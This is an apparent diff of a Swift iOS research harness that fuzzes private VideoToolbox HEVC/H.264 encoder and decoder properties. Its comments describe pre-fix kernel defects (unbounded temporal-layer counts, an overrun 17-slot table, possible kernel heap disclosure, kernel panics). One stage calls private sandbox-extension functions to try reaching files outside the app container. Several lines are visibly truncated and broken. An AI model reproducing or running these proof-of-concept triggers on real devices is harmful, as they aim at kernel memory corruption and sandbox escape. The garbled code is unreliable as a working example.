supportedPropertiesOut: &supported) + emit("SupportedPropertyDictionary status=\(s1) encoderID=\(encoderID ?? "nil" as CFString)") + if let sup = supported as? [String: Any] { + let keys = sup.keys.sorted() + emit("supported count=\(keys.count) hasNumberOfTemporalLayers=\(keys.contains("NumberOfTemporalLayers"))") + let interesting = keys.filter { $0.lowercased().contains("temporal") || $0.lowercased().contains("mvhevc") || $0.lowercased().contains("layer") } + emit("layer-ish keys: \(interesting)") + } + + let key = "NumberOfTemporalLayers" as CFString + for v in [1, 4, 7, 8, 16, 64] { + let st = VTSessionSetProperty(session, key: key, value: NSNumber(value: v)) + emit("SetProperty NumberOfTemporalLayers=\(v) status=\(st) readback: \(readBack(session, key))") + } + VTCompressionSessionInvalidate(session) + } + + /// Stage 2: submit frames with a value the pre-fix driver never bounded. + func stage2(value: Int, realtime: Bool = true, efr: Int = 30, blr: Int = 15) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session") + return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: realtime ? kCFBooleanTrue : kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) + let sEfr = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: efr)) + let sBlr = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: blr)) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: value)) + emit("stage2 rt=\(realtime) efr=\(efr)(\(sEfr)) blr=\(blr)(\(sBlr)) NumberOfTemporalLayers(\(value)) status=\(st)") + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + let pst = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + emit("CVPixelBufferCreate status=\(pst)") + guard let pixel = pb else { return } + + for i in 0..<40 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("EncodeFrame[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("after-encode readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) + emit("stage2 complete") + VTCompressionSessionInvalidate(session) + } + + /// Stage 3: brute-force property acceptance. No encode. + func fuzz() { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session"); return + } + var encoderID: CFString? + var supported: CFDictionary? + let s1 = VTCopySupportedPropertyDictionaryForEncoder( + width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, + encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) + if let sup = supported as? [String: Any] { + let keys = sup.keys.sorted() + try? keys.joined(separator: "\n").write( + to: FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("props.txt"), atomically: true, encoding: .utf8) + emit("supported count=\(keys.count) dumpStatus=\(s1)") + } + + let candidates = [ + "NumOfTemporalLayer", "NumberOfTemporalLayers", "NumOfGOPLayer", + "MCTFStrengthLevel", "RPSData", "RPSInfo", "ChromaQPIndexOffsetMultiPPS", + "HEVCTemporalLevelInfoCombinations", "CreateTemporalLevelInfoDictionary", + "HEVCAuxiliaryLayerIDs", "MVHEVCVideoLayerIDs", "NumberOfSlices", + "AbsDeltaRPSMinus1", "DeltaRPSSign", "MultiReferencePSpacing", + "NumNegativePics", "NumPositivePics", "NumOfBFrame", "NumOfPFrame", + "MaximumReferenceFrameDistance", "RefNumOfBFrameL0", "RefNumOfBFrameL1", + "RefNumOfPFrame", "LRMERSPassNum", "MCTFMaxNextRefNum" + ] + let numbers = [0, 1, 2, 3, 8, 16, 64, 1000] + for key in candidates { + var line = "KEY \(key):" + for v in numbers { + let st = VTSessionSetProperty(session, key: key as CFString, value: NSNumber(value: v)) + line += " n\(v)=\(st)" + } + let bigArr = (0..<16).map { NSNumber(value: $0 + 1) } as CFArray + let stArr = VTSessionSetProperty(session, key: key as CFString, value: bigArr) + line += " arr16=\(stArr)" + emit(line) + } + emit("fuzz done") + VTCompressionSessionInvalidate(session) + } + + /// Stage 4: multi-PPS chroma QP ladder then encode. + func stage4(count: Int) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) + let s = Array(repeating: "0", count: count).joined(separator: " ") + let st = VTSessionSetProperty(session, key: "ChromaQPIndexOffsetMultiPPS" as CFString, value: s as CFString) + let rd = readBack(session, "ChromaQPIndexOffsetMultiPPS" as CFString) + emit("stage4 ChromaQPIndexOffsetMultiPPS(count=\(count)) status=\(st) readback: \(rd)") + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("no pixel"); return } + for i in 0..<12 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("EncodeFrame[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage4 complete") + VTCompressionSessionInvalidate(session) + } + + /// Stage 5: probe the layer/PS-ID array properties that feed the kext VPS validator. + func stage5() { + let keys = [ + "MVHEVCVideoLayerIDs", + "MVHEVCViewIDs", + "MVHEVCLeftAndRightViewIDs", + "HEVCAuxiliaryLayerIDs", + "RequiredMVHEVCSequenceParameterSetIDs", + "RequiredMVHEVCPictureParameterSetIDs", + "RequiredMVHEVCVideoParameterSetAlphaVideoLayerIDs", + "RequiredHEVCVideoParameterSetAlphaLayerID", + "HEVCTemporalLevelInfoCombinations", + "TemporalIDNestingFlag", + "BaseLayerFrameRate", + ] + func arr(_ n: Int, _ v: Int = 0) -> CFArray { + Array(repeating: NSNumber(value: v), count: n) as CFArray + } + func arr64() -> CFArray { + Array((0..<64).map { NSNumber(value: $0 % 64) }) as CFArray + } + func shape(_ tag: String, _ v: Any) -> (String, Any) { (tag, v) } + + let shapes: [(String, Any)] = [ + shape("n1", NSNumber(value: 1)), + shape("n0", NSNumber(value: 0)), + shape("a1", arr(1)), + shape("a2", arr(2)), + shape("a4", arr(4)), + shape("a16", arr(16)), + shape("a64", arr64()), + shape("a2seq", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), + shape("truth", kCFBooleanTrue as Any), + ] + + for name in keys { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage5 \(name): no session"); continue + } + var line = "stage5 \(name):" + for (tag, value) in shapes { + let st = VTSessionSetProperty(session, key: name as CFString, value: value as CFTypeRef) + line += " \(tag)=\(st)" + } + emit(line) + VTCompressionSessionInvalidate(session) + } + emit("stage5 complete") + } + + private func compact(_ v: Any?) -> String { + guard let v = v else { return "nil" } + if let d = v as? [String: Any] { + return "{" + d.keys.sorted().map { "\($0)=\(compact(d[$0]))" }.joined(separator: ",") + "}" + } + if let a = v as? [Any] { + return "[" + a.prefix(8).map { compact($0) }.joined(separator: ",") + (a.count > 8 ? ",..." : "") + "]" + } + if let n = v as? NSNumber { return "\(n)" } + if let s = v as? String { return s } + return String(describing: v) + } + + /// Stage 7: dump the complete supported-property dictionary with per-key metadata + /// (MinValue/MaxValue/PropertyType/DefaultValue), for both HEVC and AVC. + func stage7() { + for codec in [kCMVideoCodecType_HEVC, kCMVideoCodecType_H264] { + var encoderID: CFString? + var supported: CFDictionary? + let st = VTCopySupportedPropertyDictionaryForEncoder( + width: 1280, height: 720, codecType: codec, + encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) + emit("== stage7 \(fourCC(codec)) status=\(st) encoderID=\(encoderID ?? "nil" as CFString)") + guard let sup = supported as? [String: Any] else { emit("no dict"); continue } + emit("stage7 \(fourCC(codec)) count=\(sup.count)") + for k in sup.keys.sorted() { + emit("D \(fourCC(codec)) \(k) \(compact(sup[k]))") + } + } + emit("stage7 complete") + } + + /// Stage 8: set one property key to each value, then encode; used for keys whose + /// dictionary range changed between builds. + func stage8(key: String, values: [Int]) { + for v in values { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage8 \(key)=\(v): no session"); continue + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) + _ = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: 15)) + let st = VTSessionSetProperty(session, key: key as CFString, value: NSNumber(value: v)) + emit("stage8 \(key)=\(v) setStatus=\(st) readback: \(readBack(session, key as CFString))") + if st == 0 { + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + if let pixel = pb { + var bad = 0 + for i in 0..<20 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + if est != 0 { bad = Int(est); emit("stage8 \(key)=\(v) encode[\(i)] status=\(est)"); break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage8 \(key)=\(v) encodeDone bad=\(bad)") + } + } + VTCompressionSessionInvalidate(session) + } + emit("stage8 complete") + } + + /// Stage 9: v190 recipe — EncoderUsage=1, RCMode=20, oversized NumberOfTemporalLayers, + /// then the first frame submit (PrepareToEncodeFrames). Live oracle: last line in live.txt + /// tells how far it got; a kernel panic after "encode[0]" is the defect firing. + func stage9(n: Int) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage9(\(n)): no session"); return + } + let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1)) + let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20)) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: n)) + emit("stage9(\(n)) usage=\(sUsage) rc=\(sRC) ntl=\(st) readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage9: no pixel"); return } + armJournal("stage9", ntl: n) + for i in 0..<4 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("stage9(\(n)) encode[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage9(\(n)) survived") + finishJournal() + VTCompressionSessionInvalidate(session) + emit("stage9 complete") + } + + /// Stage 10: extcal ladder — one temporal-layer count per session, capture the + /// parameter sets the encoder returns (VPS/SPS/PPS) with sizes and byte prefixes, + /// so a count-driven VPS growth / kernel-heap disclosure shows up app-side. + func stage10(n: Int, usage: Int = 0) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage10(\(n),\(usage)): no session"); return + } + if usage != 0 { + let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: usage)) + emit("stage10(\(n),\(usage)) encoderUsage status=\(su)") + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) + _ = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: 15)) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: n)) + emit("stage10(\(n),\(usage)) ntl=\(st) readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage10: no pixel"); return } + if let y = CVPixelBufferGetBaseAddressOfPlane(pixel, 0) { + let h = CVPixelBufferGetHeightOfPlane(pixel, 0) + let bpr = CVPixelBufferGetBytesPerRowOfPlane(pixel, 0) + memset(y, 0x40, h * bpr) + } + if let uv = CVPixelBufferGetBaseAddressOfPlane(pixel, 1) { + let h = CVPixelBufferGetHeightOfPlane(pixel, 1) + let bpr = CVPixelBufferGetBytesPerRowOfPlane(pixel, 1) + memset(uv, 128, h * bpr) + } + + var fmtDesc: CMVideoFormatDescription? + for i in 0..<3 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { status, _, sb in + if status == 0, let sb = sb, fmtDesc == nil { + fmtDesc = CMSampleBufferGetFormatDescription(sb) + } + } + emit("stage10(\(n),\(usage)) encode[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + + var psBytes = Data() + if let fd = fmtDesc { + var cnt = 0 + var hdr: Int32 = 0 + let r0 = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: 0, parameterSetPointerOut: nil, + parameterSetSizeOut: nil, parameterSetCountOut: &cnt, nalUnitHeaderLengthOut: &hdr) + var i = 0 + while i < Int(cnt) { + var p: UnsafePointer? + var sz = 0 + let r = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: i, parameterSetPointerOut: &p, + parameterSetSizeOut: &sz, parameterSetCountOut: nil, nalUnitHeaderLengthOut: nil) + if r == 0, let p = p, sz > 0 { + let type = (Int(p[0]) >> 1) & 0x3f + let head = (0..= 3 + let req: [CFString: Any] = [ + "NumberOfFrames" as CFString: NSNumber(value: n), + "AllocateRVRABuffers" as CFString: (alloc ? kCFBooleanTrue : kCFBooleanFalse) as Any + ] + let sReq = VTSessionSetProperty(session, key: "DPBRequirements" as CFString, value: req as CFDictionary) + emit("stage12(\(n),\(shape)) dpbReqStatus=\(sReq)") + + var ids: [NSNumber] = [] + for _ in 0.. start { nals.append(Array(bytes[start.. 0 { + aus.append(cur); cur = []; vclCount = 0 + } + vclCount += 1 + } + cur.append(n) + } + if vclCount > 0 { aus.append(cur) } + let realCount = aus.count + if let first = aus.first { aus.append(first) } + emit("stage20 \(file) nals=\(nals.count) aus=\(realCount)") + + var ds: VTDecompressionSession? + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferPixelFormatTypeKey] = NSNumber(value: kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange) + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + let spec: [CFString: Any] = [ + "RequireHardwareAcceleratedVideoDecoder" as CFString: kCFBooleanTrue as Any + ] + let cst = VTDecompressionSessionCreate(allocator: kCFAllocatorDefault, formatDescription: fd, + decoderSpecification: spec as CFDictionary, + imageBufferAttributes: attrs as CFDictionary, + outputCallback: nil, decompressionSessionOut: &ds) + guard cst == 0, let d = ds else { emit("stage20 \(file): decCreate(hwReq)=\(cst)"); return } + var hwRef: CFTypeRef? + VTSessionCopyProperty(d, key: "UsingHardwareAcceleratedVideoDecoder" as CFString, + allocator: kCFAllocatorDefault, valueOut: &hwRef) + emit("stage20 \(file) usingHW=\(String(describing: hwRef))") + for (idx, au) in aus.enumerated() { + let (sbOpt, sbErr) = Self.sampleBuffer(au, fd, pts: CMTimeValue(idx)) + guard let sb = sbOpt else { + emit("stage20 \(file) au[\(idx)]: no sampleBuffer (\(sbErr))"); continue + } + var flags = VTDecodeInfoFlags() + let st = VTDecompressionSessionDecodeFrame( + d, sampleBuffer: sb, flags: [], infoFlagsOut: &flags) { status, _, imageBuffer, _, _ in + decLock.lock() + decResults.append("au\(idx):cb(st=\(status),img=\(imageBuffer != nil))") + decLock.unlock() + } + if idx < realCount { + emit("stage20 \(file) au[\(idx)] slices=\(au.filter { (($0[0] & 0x1f) == 1 || ($0[0] & 0x1f) == 5) }.count) status=\(st)") + } + } + VTDecompressionSessionFinishDelayedFrames(d) + VTDecompressionSessionWaitForAsynchronousFrames(d) + decLock.lock(); let cb = Array(decResults.prefix(realCount)); decResults = []; decLock.unlock() + emit("stage20 \(file) callbacks=\(cb)") + emit("stage20 \(file) survived") + VTDecompressionSessionInvalidate(d) + emit("stage20 complete") + } + + static func h264FormatDescription(_ sps: [UInt8], _ pps: [UInt8]) -> CMVideoFormatDescription? { + var fd: CMVideoFormatDescription? + let sp = UnsafeMutablePointer.allocate(capacity: sps.count) + sp.update(from: sps, count: sps.count) + let pp = UnsafeMutablePointer.allocate(capacity: pps.count) + pp.update(from: pps, count: pps.count) + defer { sp.deallocate(); pp.deallocate() } + let sizes: [Int] = [sps.count, pps.count] + let ptrs: [UnsafePointer] = [UnsafePointer(sp), UnsafePointer(pp)] + let st = ptrs.withUnsafeBufferPointer { pb in + sizes.withUnsafeBufferPointer { sz in + CMVideoFormatDescriptionCreateFromH264ParameterSets( + allocator: kCFAllocatorDefault, parameterSetCount: 2, + parameterSetPointers: pb.baseAddress!, parameterSetSizes: sz.baseAddress!, + nalUnitHeaderLength: 4, formatDescriptionOut: &fd) + } + } + return st == 0 ? fd : nil + } + + static func firstMbInSlice(_ nal: [UInt8]) -> Int { + var rbsp: [UInt8] = [] + var zeros = 0 + for b in nal.dropFirst() { + if zeros >= 2 && b == 3 { zeros = 0; continue } + rbsp.append(b) + zeros = b == 0 ? zeros + 1 : 0 + } + var bits: [UInt8] = [] + for b in rbsp { for k in (0..<8).reversed() { bits.append((b >> k) & 1) } } + var pos = 0 + var z = 0 + while pos < bits.count && bits[pos] == 0 { z += 1; pos += 1 } + if pos >= bits.count { return -1 } + pos += 1 + var val = 0 + for _ in 0.. (CMSampleBuffer?, String) { + let total = au.reduce(0) { $0 + 4 + $1.count } + guard let p = calloc(1, total)?.assumingMemoryBound(to: Int8.self) else { return (nil, "calloc") } + var off = 0 + for n in au { + let len = UInt32(n.count) + p[off] = Int8(bitPattern: UInt8((len >> 24) & 0xff)) + p[off + 1] = Int8(bitPattern: UInt8((len >> 16) & 0xff)) + p[off + 2] = Int8(bitPattern: UInt8((len >> 8) & 0xff)) + p[off + 3] = Int8(bitPattern: UInt8(len & 0xff)) + off += 4 + n.withUnsafeBufferPointer { src in + memcpy(p + off, src.baseAddress!, n.count) + } + off += n.count + } + var block: CMBlockBuffer? + let bst = CMBlockBufferCreateWithMemoryBlock(allocator: kCFAllocatorDefault, memoryBlock: p, + blockLength: total, blockAllocator: kCFAllocatorNull, + customBlockSource: nil, offsetToData: 0, dataLength: total, + flags: 0, blockBufferOut: &block) + guard bst == 0, let bb = block else { return (nil, "blockCreate=\(bst)") } + var timing = CMSampleTimingInfo(duration: CMTime(value: 1, timescale: 30), + presentationTimeStamp: CMTime(value: pts, timescale: 30), + decodeTimeStamp: .invalid) + var sb: CMSampleBuffer? + let sst = CMSampleBufferCreate(allocator: kCFAllocatorDefault, dataBuffer: bb, dataReady: true, + makeDataReadyCallback: nil, refcon: nil, formatDescription: fd, + sampleCount: 1, sampleTimingEntryCount: 1, sampleTimingArray: &timing, + sampleSizeEntryCount: 0, sampleSizeArray: nil, + sampleBufferOut: &sb) + guard sst == 0, let s = sb else { return (nil, "sbCreate=\(sst)") } + return (s, "ok") + } + + /// Stage 21: RequestedMVHEVCVideoLayerIDs validation — pre-fix accepts any ids. + func stage21() { + guard let enc = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage21: no encoder"); return + } + _ = VTSessionSetProperty(enc, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage21: no pixel"); return } + var fd: CMVideoFormatDescription? + _ = VTCompressionSessionEncodeFrame( + enc, imageBuffer: pixel, presentationTimeStamp: CMTime(value: 0, timescale: 30), + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { status, _, sb in + if status == 0, let sb = sb { fd = CMSampleBufferGetFormatDescription(sb) } + } + VTCompressionSessionCompleteFrames(enc, untilPresentationTimeStamp: .invalid) + VTCompressionSessionInvalidate(enc) + guard let f = fd else { emit("stage21: no format description"); return } + + let cases: [[Int]] = [[0, 1], [0], [63], [64], [0, 64], Array(0..<64), Array(0..<300), [999999]] + for (i, ids) in cases.enumerated() { + var ds: VTDecompressionSession? + let cst = VTDecompressionSessionCreate(allocator: kCFAllocatorDefault, formatDescription: f, + decoderSpecification: nil, imageBufferAttributes: nil, + outputCallback: nil, decompressionSessionOut: &ds) + guard cst == 0, let d = ds else { emit("stage21[\(i)] decCreate=\(cst)"); continue } + let arr = ids.map { NSNumber(value: $0) } as CFArray + let st = VTSessionSetProperty(d, key: "RequestedMVHEVCVideoLayerIDs" as CFString, + value: arr) + emit("stage21[\(i)] ids=\(ids.count) first=\(ids.first ?? -1) last=\(ids.last ?? -1) status=\(st)") + VTDecompressionSessionInvalidate(d) + } + emit("stage21 survived") + } + + /// Stage 11: feed DPBRequirements an N-element array. Pre-fix the plugin stores the + /// raw element count and walks a fixed 17-slot table; 27.2 adds a count<17 gate. + func stage11(n: Int) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage11(\(n)): no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + let arr = (0..? + if CMBlockBufferGetDataPointer(db, atOffset: 0, lengthAtOffsetOut: nil, + totalLengthOut: &len, dataPointerOut: &ptr) == 0, + let p = ptr, len > 0 { + bitstream.append(contentsOf: UnsafeBufferPointer( + start: UnsafeRawPointer(p).assumingMemoryBound(to: UInt8.self), count: len)) + } + } + if est != 0 { emit("stage6 encode[\(f)] status=\(est)"); break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + var psBytes = Data() + if let fd = fmtDesc { + var cnt = 0 + var hdr: Int32 = 0 + let r0 = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: 0, parameterSetPointerOut: nil, + parameterSetSizeOut: nil, parameterSetCountOut: &cnt, nalUnitHeaderLengthOut: &hdr) + var i = 0 + while i < Int(cnt) { + var p: UnsafePointer? + var sz = 0 + let r = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: i, parameterSetPointerOut: &p, + parameterSetSizeOut: &sz, parameterSetCountOut: nil, nalUnitHeaderLengthOut: nil) + if r == 0, let p = p, sz > 0 { + psBytes.append(contentsOf: UnsafeBufferPointer(start: p, count: sz)) + } + i += 1 + } + emit("stage6(\(num)) paramSets count=\(cnt) hdrLen=\(hdr) r0=\(r0) bytes=\(psBytes.count)") + let psURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("out_\(num).ps") + try? psBytes.write(to: psURL) + } else { + emit("stage6(\(num)) no format description") + } + let url = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("out_\(num).bin") + try? bitstream.write(to: url) + emit("stage6(\(num)) bytes=\(bitstream.count) saved=\(url.lastPathComponent)") + VTCompressionSessionInvalidate(session) + } + + /// Stage SBE: can a third-party app issue sandbox extensions for paths outside its container? + func stageSandboxExtensions() { + emit("=== SBE: sandbox extension issuance probe ===") + typealias IssueFile = @convention(c) (UnsafePointer, UnsafePointer, UInt32) -> UnsafeMutablePointer? + typealias IssueByPid = @convention(c) (UnsafePointer, UnsafePointer, UInt32, Int32) -> UnsafeMutablePointer? + typealias Consume = @convention(c) (UnsafePointer) -> Int64 + typealias Release = @convention(c) (Int64) -> Int32 + + guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { + emit("SBE dlopen failed errno=\(errno)") + return + } + guard let sIssue = dlsym(h, "sandbox_extension_issue_file"), + let sConsume = dlsym(h, "sandbox_extension_consume"), + let sRelease = dlsym(h, "sandbox_extension_release") else { + emit("SBE dlsym failed errno=\(errno)") + return + } + let issue = unsafeBitCast(sIssue, to: IssueFile.self) + let consume = unsafeBitCast(sConsume, to: Consume.self) + let release = unsafeBitCast(sRelease, to: Release.self) + let issueByPid: IssueByPid? = dlsym(h, "sandbox_extension_issue_file_to_process_by_pid") + .map { unsafeBitCast($0, to: IssueByPid.self) } + + let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + let control = docs.appendingPathComponent("sbe_control.txt") + try? "control".data(using: .utf8)?.write(to: control) + + let sg = "/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles" + let targets: [(String, String)] = [ + ("own-file", control.path), + ("own-dir", docs.path), + ("cfg-plist", sg + "/Library/ConfigurationProfiles/CloudConfigurationDetails.plist"), + ("cfg-dir", sg + "/Library/ConfigurationProfiles"), + ("cfg-root", sg), + ("var-mobile-prefs", "/var/mobile/Library/Preferences"), + ("containers-data", "/var/mobile/Containers/Data/Application"), + ("containers-bundle", "/private/var/containers/Bundle/Application"), + ("sys-version", "/System/Library/CoreServices/SystemVersion.plist"), + ("private-tmp", "/private/tmp"), + ] + let classes = ["com.apple.app-sandbox.read", "com.apple.app-sandbox.read-write"] + let flagVals: [(String, UInt32)] = [("default", 0), ("canonical", 2)] + + for (name, path) in targets { + for cls in classes { + let short = cls == "com.apple.app-sandbox.read" ? "R" : "RW" + for (fn, fl) in flagVals { + errno = 0 + var line = "" + if let tok = issue(cls, path, fl) { + line = "issue=OK len=\(strlen(tok))" + let handle = consume(tok) + let cerr = errno + if handle >= 0 { + var acc = "listdir=" + if let names = try? FileManager.default.contentsOfDirectory(atPath: path) { + acc += "OK(\(names.count))" + } else { + acc += "no(\(errno))" + } + let fd = open(path, O_RDONLY) + let oerr = errno + if fd >= 0 { + close(fd) + acc += " open-ro=OK" + if short == "RW" { + let wfd = open(path, O_RDWR) + let werr = errno + if wfd >= 0 { close(wfd); acc += " open-rw=OK" } else { acc += " open-rw=err(\(werr))" } + } + } else { + acc += " open-ro=err(\(oerr))" + } + _ = release(handle) + line += " consume=\(handle) \(acc)" + } else { + line += " consume=fail(\(cerr))" + } + free(tok) + } else { + line = "issue=FAIL errno=\(errno)" + } + emit("SBE \(name) \(short)/\(fn) -> \(line) [\(path)]") + } + } + } + + if let byPid = issueByPid { + for (name, path) in targets { + for cls in classes { + let short = cls == "com.apple.app-sandbox.read" ? "R" : "RW" + errno = 0 + if let tok = byPid(cls, path, 0, getpid()) { + emit("SBE-by-pid \(name) \(short) -> OK len=\(strlen(tok)) [\(path)]") + free(tok) + } else { + emit("SBE-by-pid \(name) \(short) -> FAIL errno=\(errno) [\(path)]") + } + } + } + } else { + emit("SBE-by-pid dlsym unavailable") + } + emit("=== SBE done ===") + } + + func writeReport() { + let url = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("ave_report.txt") + try? log.write(to: url, atomically: true, encoding: .utf8) + 